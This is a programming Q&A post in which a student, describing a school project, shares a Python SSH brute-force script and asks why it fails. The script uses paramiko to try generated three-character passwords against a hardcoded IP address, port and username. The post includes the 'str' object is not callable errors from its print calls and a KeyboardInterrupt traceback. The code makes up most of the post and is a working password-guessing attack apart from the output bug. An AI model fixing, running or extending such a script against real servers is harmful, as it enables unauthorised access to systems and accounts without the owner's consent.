title: Python SSH Brute Force
body: <p>Im writing a SSH Brute Force program for a school project, however i am stuck on the part where i have to make the password function. This is what my code looks like so far. </p>
  
  <pre><code>import itertools, paramiko, sys, os, socket
  
  
  line = "\n-------------------------------------\n"
  
  hostname= '138.68.108.222'
  username = 'billy'
  port = 50684
  password = 'bingo'
  
  
  input_file = open("example.txt", 'a')
  
  
  chrs = 'abcdefghijklmnopkrstuvxy1234567890'
  n = 3
  
  for xs in itertools.product(chrs, repeat=n):
      password = '-its?' + ''.join(xs)
      input_file.write(password + "\n")
  
  
  def ssh_connect(password, code = 0):
  
      ssh = paramiko.SSHClient()
      ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)
  
      try:
  
          ssh.connect(hostname = hostname, port = port, password= password, username= username)
  
      except paramiko.AuthenticationException:
  
          code = 1
  
      except socket.error as e:
  
          code =2
  
      ssh.close()
      return code
  
  input_file = open("example.txt")
  
  print("")
  
  
  for i in input_file.readlines():
  
      password = i.strip("\n")
      try:
          response = ssh_connect(password)
  
          if response == 0:
              print("Password Found: "(line, username,password, line))
              sys.exit(0)
  
          elif response == 1:
              print("Password Incorrect: " (username, password))
  
          elif response == 2:
              print("Connection Failed: " (hostname))
              sys.exit(2)
  
      except Exception as e:
          print(e)
          pass
  
  open("example.txt", 'w').close()
  
  input_file.close()
  </code></pre>
  
  <p>The problem i have is that it understands that it should loop it, but all the output i get is:</p>
  
  <pre><code>&gt;&gt;&gt; 'str' object is not callable
  &gt;&gt;&gt; 'str' object is not callable
  &gt;&gt;&gt; 'str' object is not callable
  &gt;&gt;&gt; 'str' object is not callable
  </code></pre>
  
  <p>Is there a way to fix this problem?</p>
  
  <p>When i stop the program from running it gives me this Traceback:</p>
  
  <pre><code>Traceback (most recent call last):
    File "/Users/eliasdavidsen/PycharmProjects/Mandatory3/test.py", line 52, in &lt;module&gt;
      response = ssh_connect(password)
    File "/Users/eliasdavidsen/PycharmProjects/Mandatory3/test.py", line 30, in ssh_connect
      ssh.connect(hostname = hostname, port = port, password= password, username= username)
    File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/client.py", line 394, in connect
      look_for_keys, gss_auth, gss_kex, gss_deleg_creds, gss_host)
    File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/client.py", line 636, in _auth
      self._transport.auth_password(username, password)
    File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/transport.py", line 1329, in auth_password
      return self.auth_handler.wait_for_response(my_event)
    File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/auth_handler.py", line 198, in wait_for_response
      event.wait(0.1)
    File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/threading.py", line 551, in wait
      signaled = self._cond.wait(timeout)
    File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/threading.py", line 299, in wait
      gotit = waiter.acquire(True, timeout)
  KeyboardInterrupt
  
  Process finished with exit code 1
  </code></pre>